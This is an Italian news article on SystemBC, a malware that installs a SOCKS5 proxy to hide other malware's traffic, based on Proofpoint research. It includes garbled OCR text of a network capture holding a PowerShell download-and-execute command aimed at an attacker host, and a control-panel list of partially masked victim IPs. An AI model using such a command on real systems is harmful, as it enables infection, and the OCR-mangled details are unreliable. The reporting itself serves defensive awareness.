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Il virus installa sui PC infetti un proxy che permette
di nascondere il traffico Internet di altri software
dannosi per impedirne il rilevamento.

I pirati informatici piu scaltri utilizzano spesso strumenti
per offuscare le comunicazioni dei malware che utilizzano. Il
motivo e piuttosto ovvio: la presenza di comunicazioni
sospette e infatti uno degli indizi che 1 software di
sicurezza utilizzano per individuare la presenza di software
dannoso.

Di solito strumenti di questo tipo sono inclusi nei malware
piu complessi, spesso dotati di una struttura modulare, e non
sono molto diffusi.

Da oggi, pero, sembra che tutti i cyber-criminali possano
contare su un formidabile strumento di offuscamento. Si chiama
SystemBC ed &€ un malware autonomo, che ha la funzione
specifica di “supportare” altri programmi nocivi.

Come spiegano i ricercatori di Proofpoint in questo report,
SystemBC installa sul computer infetto un proxy SOCKS5 che
consente di occultare il traffico di qualsiasi “collega”
installato sullo stesso computer.
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Clusters Tags Date

RO it T f00x Undetined WSTTN ST Revenatits  DEU L= = N Danaor |+ [Systembc ECRREEE

[A] 172 nginx GET 302 HTTP bitdesk.online /yKbMSn 0
4$173  nginx GET 00 HTTPS guyspride.com  /Peloruses_embowing/ Sdrx/dishwiperlavadero.asp 5213
oz 174 nginx GET 200 HTTPS guyspride.com  furypaneid-Galanga/01_09_2006, phtml 28,678

175 ngink POST 200 HTTPS guyspride.com  /4Ts0n/voly/1995-01-17/8sn.aspx 7,256
= 176 nginx POST 200 HTTPS guyspride.com  /591/PoTF/nml 28,696
177 nginx GET 200 HTTPS guyspride.com  /1955-03-20/1121.jsp?3ZrN=Zombiisms_Fieldie 35,125
8] 192 inx guyspride.com /OnVF/Heinesque_recliners_Latten?KCcZ=bursaries-posologic-oligee...

GET http://guyspride com/OnVE/Heinesque_recliners | atten?KCcZ =bursaries-posologic- | [HTTR/1.1 200 OK
oliggemia HTTR/1.1 Server: nginx
User-Agent: SENB2a36p61HSKES Date: Thu, 06 Jun 2079 16:31:27 GMT
Host: guyspride.com (Content-Type: application/octet-stream
Connection: Keep-alive [Content-Length: 104

*

Access-Control-Allow-Origin
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Accept-Ranges: none

X-Cache: MISS from lux-04-08-02
X-Cache-Lookup: MISS from lux-04-08-02:0
Via: 1.1 lux-04-08-02 (squid/3.5.27)
Connection: close

IEX (New-Object Net.WebClient). DownloadString( https:// analiticap.info: 443/ chkesosod/ downs/ sByeHbpyji’);

Gli esperti di sicurezza lo hanno individuato per la prima
volta lo scorso 6 giugno, mentre analizzavano una campagna di
attacchi portata attraverso un Exploit Kit e che aveva come
obiettivo principale la diffusione del ransomware Maze.

Nelle settimane successive, pero, dalle parti di Proofpoint
hanno incrociato SystemBC piu volte in occasione di attacchi
portati da altri gruppi di cyber-criminali, ad esempio per
diffondere il trojan bancario Danabot. La conclusione dei
ricercatori e che il malware sia venduto nei bassifondi del
Web come strumento di copertura.

Intuizione confermata quando 1 ricercatori hanno trovato un
“annuncio pubblicitario” che, oltre alla descrizione di
SystemBC, conteneva anche degli screenshot del sistema di
controllo.
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fsystembcV3/95V3RI X +

«>ca
RAW DATA
Country: ~
Region: -
City: -

ONLINE: 17 OFFLINE: 25

4001 |.56.85 United States,MA, Cambridge, 02139 UPTIME: 13:03:10 AUTH ON/OFF
4002 }.231.156 Canada,ON, Toronto,M3H UPTIME: 00:51:31  AUTH ON/OFF
14004 156.20 United States,NY,Southampton, 11968 UPTIME: 13:03:10 AUTH ON/OFF
4005 3.231.156,Canada,ON, Toronto,M3H UPTIME: 00:51:31 AUTH ON/OFF
4007 )1.151.215..., UPTIME: 01:31:35 AUTH ON/OFF
14009 ".61.124 United States, TX,San Angelo, 76904 UPTIME: 13.03:10 AUTH ON/OFF
4010 '.61.124 United States. TX.San Angelo, 76904 UPTIME: 13:03:10 AUTH ON/OFF
4011 226.106, United States, UPTIME: 00:48:38 AUTH ON/OFFE
4013 |.248.199 United States NY Fredonia, 14063 UPTIME: 01:36:23 AUTH ON/OFFE
4014 |.248.199 United States NY,Fredonia, 14063 UPTIME: 00:26:28 AUTH ON/OFE
4015 1.206.134 United States FL Pompano Beach, 33063 UPTIME: 00:45:06 AUTH ON/OFF
4016 156.20 United States NY,Southampton_ 11968 UPTIME: 13:03:08 AUTH ON/OEE
4023 3.171.32, United States, PA Southampton, 18966 UPTIME: 01:27:10 AUTH ON/OFE
4031 }.79.202,, ., UPTIME: 07:32:35 AUTH ON/OFE
4033 136.247 United States, GA Atlanta, 30329 UPTIME: 03.586.15 AUTH ON/OFF
4041 224.48 United States,NJ, Trenton, 08610 UPTIME: 00:30:51 AUTH ON/OFF
14042 224.48 United States,NJ, Trenton, 08610 UPTIME: 00:30:48 AUTH ON/OFF

SystemBC utilizza un sistema di crittografia XOR a 40 byte per
proteggere informazioni come l’indirizzo del server Command
and Control e dei DNS utilizzati, evitando di conservare
questi dati su un file, ma iniettandoli nella memoria del
computer per renderne piu difficile il rilevamento.

Tutte le comunicazioni in entrata e in uscita sono protette
attraverso una chiave crittografica RC4, utilizzando una
particolare procedura <che rende piu complicata
l’individuazione della trasmissione dati.

Insomma, come sottolinea Proofpoint, con SystemBC ci troviamo
di fronte a un’ulteriore evoluzione di quella filosofia di
“cyber-crimine collaborativo” che negli ultimi anni sembra
vivere una crescita esponenziale.
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